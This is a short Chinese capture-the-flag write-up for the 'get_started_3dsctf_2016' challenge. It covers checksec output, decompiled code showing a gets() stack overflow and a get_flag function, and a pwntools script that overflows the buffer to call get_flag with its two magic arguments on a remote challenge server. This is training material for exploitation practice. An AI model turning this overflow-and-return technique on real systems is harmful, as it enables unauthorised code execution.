分析

  1. checksec
1
2
3
➜  pwn checksec --file=get_started_3dsctf_2016
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 1991) Symbols No 0 0 get_started_3dsctf_2016
  1. ida
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF

printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}

显然gets函数溢出,查看一下v4:

1
2
3
4
5
6
7
-00000038 var_38          db 56 dup(?)
+00000000 r db 4 dup(?)
+00000004 argc dd ?
+00000008 argv dd ? ; offset
+0000000C envp dd ? ; offset
+00000010
+00000010 ; end of stack variables

发现有个get_flag函数,地址0x80489A0,分析可知:

  • 传入两个参数a1,a2
  • 当a1和a2满足条件会读取flag文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}

利用

直接通过溢出跳转到get_flag函数,然后通过栈上传入参数绕过if判断,这里要注意的,绕过后我们需要主动退出当前函数,代码如下:

1
2
3
4
5
6
7
from pwn import *
p = remote('node5.buuoj.cn',28435)
get_flag = 0x80489A0
exit_addr = 0x804E6A0
buf = b'a' * 0x38 + p32(get_flag) + p32(exit_addr) + p32(0x308cd64f) + p32(0x195719d1)
p.sendline(buf)
p.interactive()